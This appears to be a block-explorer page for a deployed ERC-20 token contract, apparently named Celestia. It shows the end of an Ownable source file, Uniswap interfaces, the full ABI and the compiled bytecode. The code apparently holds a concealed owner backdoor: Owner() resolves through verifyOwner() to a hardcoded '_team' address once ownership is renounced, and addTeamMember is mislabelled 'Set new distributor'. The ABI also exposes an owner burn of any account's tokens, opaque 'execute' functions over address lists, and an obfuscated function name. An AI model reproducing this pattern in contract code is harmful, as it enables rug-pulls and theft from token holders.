     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 6 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"taxSwapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f58600f5560016011556001601260006101000a81548160ff02191690831515021790555065013ca65120006013556001601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055506001602360006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b506040518060400160405280600881526020017f43656c65737469610000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f43454c455354494100000000000000000000000000000000000000000000000081525060006200013c6200050860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d52baf620cac99926bea4033380fcf14405296d7600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816006908051906020019062000247929190620009ff565b50806007908051906020019062000260929190620009ff565b5060055460048190555050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002988160016200051060201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250506000806000806000806000678ac7230489e800009050866018819055508560198190555084601a81905550601a546019546018546200030f919062000bf7565b6200031b919062000bf7565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c546200034b919062000bf7565b62000357919062000bf7565b601b819055506107d0600a826200036f919062000c8c565b6200037b919062000c54565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003b36200057b60201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004036200057b60201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000465620004576200057b60201b60201c565b6001620005a460201b60201c565b62000478306001620005a460201b60201c565b6200048d61dead6001620005a460201b60201c565b620004af620004a16200057b60201b60201c565b60016200051060201b60201c565b620004c23060016200051060201b60201c565b620004d761dead60016200051060201b60201c565b620004e933826200065f60201b60201c565b620004f96200081060201b60201c565b50505050505050505062000e41565b600033905090565b620005206200084460201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005b46200084460201b60201c565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000653919062000b46565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620006d2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006c99062000ba7565b60405180910390fd5b620006e660008383620008d560201b60201c565b6200070281600854620008da60201b6200277f1790919060201c565b6008819055506200076181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620008da60201b6200277f1790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000804919062000bc9565b60405180910390a35050565b6000620008226200084460201b60201c565b6000601560006101000a81548160ff0219169083151502179055506001905090565b620008546200050860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200087a6200093d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008ca9062000b85565b60405180910390fd5b565b505050565b6000808284620008eb919062000bf7565b90508381101562000933576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200092a9062000b63565b60405180910390fd5b8091505092915050565b600080620009506200095960201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009d65760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009fa565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000a0d9062000d03565b90600052602060002090601f01602090048101928262000a31576000855562000a7d565b82601f1062000a4c57805160ff191683800117855562000a7d565b8280016001018555821562000a7d579182015b8281111562000a7c57825182559160200191906001019062000a5f565b5b50905062000a8c919062000a90565b5090565b5b8082111562000aab57600081600090555060010162000a91565b5090565b62000aba8162000ced565b82525050565b600062000acf601b8362000be6565b915062000adc8262000dc6565b602082019050919050565b600062000af660208362000be6565b915062000b038262000def565b602082019050919050565b600062000b1d601f8362000be6565b915062000b2a8262000e18565b602082019050919050565b62000b408162000cf9565b82525050565b600060208201905062000b5d600083018462000aaf565b92915050565b6000602082019050818103600083015262000b7e8162000ac0565b9050919050565b6000602082019050818103600083015262000ba08162000ae7565b9050919050565b6000602082019050818103600083015262000bc28162000b0e565b9050919050565b600060208201905062000be0600083018462000b35565b92915050565b600082825260208201905092915050565b600062000c048262000cf9565b915062000c118362000cf9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c495762000c4862000d39565b5b828201905092915050565b600062000c618262000cf9565b915062000c6e8362000cf9565b92508262000c815762000c8062000d68565b5b828204905092915050565b600062000c998262000cf9565b915062000ca68362000cf9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ce25762000ce162000d39565b5b828202905092915050565b60008115159050919050565b6000819050919050565b6000600282049050600182168062000d1c57607f821691505b6020821081141562000d335762000d3262000d97565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60805160601c61597662000e7c6000396000818161115901528181612d8e01528181613f8d015281816140a301526140ca01526159766000f3fe6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610fa0578063f2fde38b14610fcb578063f637434214610ff4578063f8b45b051461101f578063fe72b27a1461104a57610410565b8063d85ba06314610ee2578063dd62ed3e14610f0d578063e2f4560514610f4a578063e884f26014610f7557610410565b8063c18bc195116100f2578063c18bc19514610dfd578063c2b7bbb614610e26578063c876d0b914610e4f578063c8c8ebe414610e7a578063d257b34f14610ea557610410565b8063bbbb3ffc14610d57578063bbc0c74214610d80578063c024666814610dab578063c17b5b8c14610dd457610410565b80639fccce32116101a6578063a457c2d711610175578063a457c2d714610c4c578063a4c82a0014610c89578063a9059cbb14610cb4578063aacebbe314610cf1578063b62496f514610d1a57610410565b80639fccce3214610b90578063a061e0c314610bbb578063a0d82dc514610bf8578063a165506f14610c2357610410565b806395d89b41116101e257806395d89b4114610ae65780639c3b4fdc14610b115780639dc29fac14610b3c5780639ec22c0e14610b6557610410565b80638da5cb5b14610a3c5780638ea5220f14610a675780639213691314610a92578063924de9b714610abd57610410565b80633582ad231161031957806370a08231116102a15780637571336a116102705780637571336a1461097d57806375f0a874146109a65780637bce5a04146109d15780638095d564146109fc5780638a8c523c14610a2557610410565b806370a08231146108d5578063715018a614610912578063730c188814610929578063751039fc1461095257610410565b80634fbee193116102e85780634fbee193146107dc5780635178624c146108195780636a486a8e146108425780636ddd17131461086d5780636fd7072a1461089857610410565b80633582ad2314610720578063395093511461074b5780633eb2b5ad1461078857806349bd5a5e146107b157610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611087565b6040516104379190614a94565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614383565b611119565b6040516104749190614a5e565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061426a565b611137565b6040516104b19190614a5e565b60405180910390f35b3480156104c657600080fd5b506104cf611157565b6040516104dc9190614a79565b60405180910390f35b3480156104f157600080fd5b506104fa61117b565b6040516105079190614dd6565b60405180910390f35b34801561051c57600080fd5b506105376004803603810190610532919061426a565b611185565b005b34801561054557600080fd5b5061054e61124d565b60405161055b9190614dd6565b60405180910390f35b34801561057057600080fd5b50610579611253565b6040516105869190614dd6565b60405180910390f35b34801561059b57600080fd5b506105a4611259565b6040516105b19190614dd6565b60405180910390f35b3480156105c657600080fd5b506105cf61125f565b6040516105dc9190614dd6565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190614498565b611265565b005b34801561061a57600080fd5b50610635600480360381019061063091906142f8565b6112fc565b6040516106429190614a5e565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614417565b6113d5565b005b34801561068057600080fd5b506106896114d8565b6040516106969190614a43565b60405180910390f35b3480156106ab57600080fd5b506106b46114de565b6040516106c19190614dd6565b60405180910390f35b3480156106d657600080fd5b506106df6114e4565b6040516106ec9190614a5e565b60405180910390f35b34801561070157600080fd5b5061070a6114f7565b6040516107179190614e4b565b60405180910390f35b34801561072c57600080fd5b50610735611500565b6040516107429190614a5e565b60405180910390f35b34801561075757600080fd5b50610772600480360381019061076d9190614383565b611513565b60405161077f9190614a5e565b60405180910390f35b34801561079457600080fd5b506107af60048036038101906107aa919061426a565b6115c6565b005b3480156107bd57600080fd5b506107c6611612565b6040516107d39190614a43565b60405180910390f35b3480156107e857600080fd5b5061080360048036038101906107fe919061426a565b611638565b6040516108109190614a5e565b60405180910390f35b34801561082557600080fd5b50610840600480360381019061083b91906143bf565b61168e565b005b34801561084e57600080fd5b50610857611761565b6040516108649190614dd6565b60405180910390f35b34801561087957600080fd5b50610882611767565b60405161088f9190614a5e565b60405180910390f35b3480156108a457600080fd5b506108bf60048036038101906108ba919061426a565b61177a565b6040516108cc9190614a5e565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f7919061426a565b61179a565b6040516109099190614dd6565b60405180910390f35b34801561091e57600080fd5b506109276117e3565b005b34801561093557600080fd5b50610950600480360381019061094b91906144ea565b6118a9565b005b34801561095e57600080fd5b50610967611975565b6040516109749190614a5e565b60405180910390f35b34801561098957600080fd5b506109a4600480360381019061099f9190614347565b6119a1565b005b3480156109b257600080fd5b506109bb611a04565b6040516109c89190614a43565b60405180910390f35b3480156109dd57600080fd5b506109e6611a2a565b6040516109f39190614dd6565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614539565b611a30565b005b348015610a3157600080fd5b50610a3a611abb565b005b348015610a4857600080fd5b50610a51611b02565b604051610a5e9190614a43565b60405180910390f35b348015610a7357600080fd5b50610a7c611b2b565b604051610a899190614a43565b60405180910390f35b348015610a9e57600080fd5b50610aa7611b51565b604051610ab49190614dd6565b60405180910390f35b348015610ac957600080fd5b50610ae46004803603810190610adf919061446f565b611b57565b005b348015610af257600080fd5b50610afb611b7c565b604051610b089190614a94565b60405180910390f35b348015610b1d57600080fd5b50610b26611c0e565b604051610b339190614dd6565b60405180910390f35b348015610b4857600080fd5b50610b636004803603810190610b5e9190614383565b611c14565b005b348015610b7157600080fd5b50610b7a611c2a565b604051610b879190614dd6565b60405180910390f35b348015610b9c57600080fd5b50610ba5611c30565b604051610bb29190614dd6565b60405180910390f35b348015610bc757600080fd5b50610be26004803603810190610bdd919061426a565b611c36565b604051610bef9190614a5e565b60405180910390f35b348015610c0457600080fd5b50610c0d611c8c565b604051610c1a9190614dd6565b60405180910390f35b348015610c2f57600080fd5b50610c4a6004803603810190610c4591906142bc565b611c92565b005b348015610c5857600080fd5b50610c736004803603810190610c6e9190614383565b611ca8565b604051610c809190614a5e565b60405180910390f35b348015610c9557600080fd5b50610c9e611d75565b604051610cab9190614dd6565b60405180910390f35b348015610cc057600080fd5b50610cdb6004803603810190610cd69190614383565b611d7b565b604051610ce89190614a5e565b60405180910390f35b348015610cfd57600080fd5b50610d186004803603810190610d13919061426a565b611d99565b005b348015610d2657600080fd5b50610d416004803603810190610d3c919061426a565b611e61565b604051610d4e9190614a43565b60405180910390f35b348015610d6357600080fd5b50610d7e6004803603810190610d7991906142bc565b611e94565b005b348015610d8c57600080fd5b50610d95611f78565b604051610da29190614a5e565b60405180910390f35b348015610db757600080fd5b50610dd26004803603810190610dcd9190614347565b611f8b565b005b348015610de057600080fd5b50610dfb6004803603810190610df69190614539565b61203c565b005b348015610e0957600080fd5b50610e246004803603810190610e1f9190614498565b6120c7565b005b348015610e3257600080fd5b50610e4d6004803603810190610e48919061426a565b61215a565b005b348015610e5b57600080fd5b50610e646121d3565b604051610e719190614a5e565b60405180910390f35b348015610e8657600080fd5b50610e8f6121e6565b604051610e9c9190614dd6565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614498565b6121ec565b604051610ed99190614a5e565b60405180910390f35b348015610eee57600080fd5b50610ef76122cd565b604051610f049190614dd6565b60405180910390f35b348015610f1957600080fd5b50610f346004803603810190610f2f91906142bc565b6122d3565b604051610f419190614dd6565b60405180910390f35b348015610f5657600080fd5b50610f5f61235a565b604051610f6c9190614dd6565b60405180910390f35b348015610f8157600080fd5b50610f8a612360565b604051610f979190614a5e565b60405180910390f35b348015610fac57600080fd5b50610fb561238c565b604051610fc29190614dd6565b60405180910390f35b348015610fd757600080fd5b50610ff26004803603810190610fed919061426a565b612392565b005b34801561100057600080fd5b506110096124c7565b6040516110169190614dd6565b60405180910390f35b34801561102b57600080fd5b506110346124cd565b6040516110419190614dd6565b60405180910390f35b34801561105657600080fd5b50611071600480360381019061106c9190614498565b6124d3565b60405161107e9190614a5e565b60405180910390f35b60606006805461109690615099565b80601f01602080910402602001604051908101604052809291908181526020018280546110c290615099565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b600061112d6111266127dd565b84846127e5565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b61118d6129b0565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b61126d6129b0565b633b9aca006103e8600161127f61117b565b6112899190614f4d565b6112939190614f1c565b61129d9190614f1c565b8110156112df576040517f0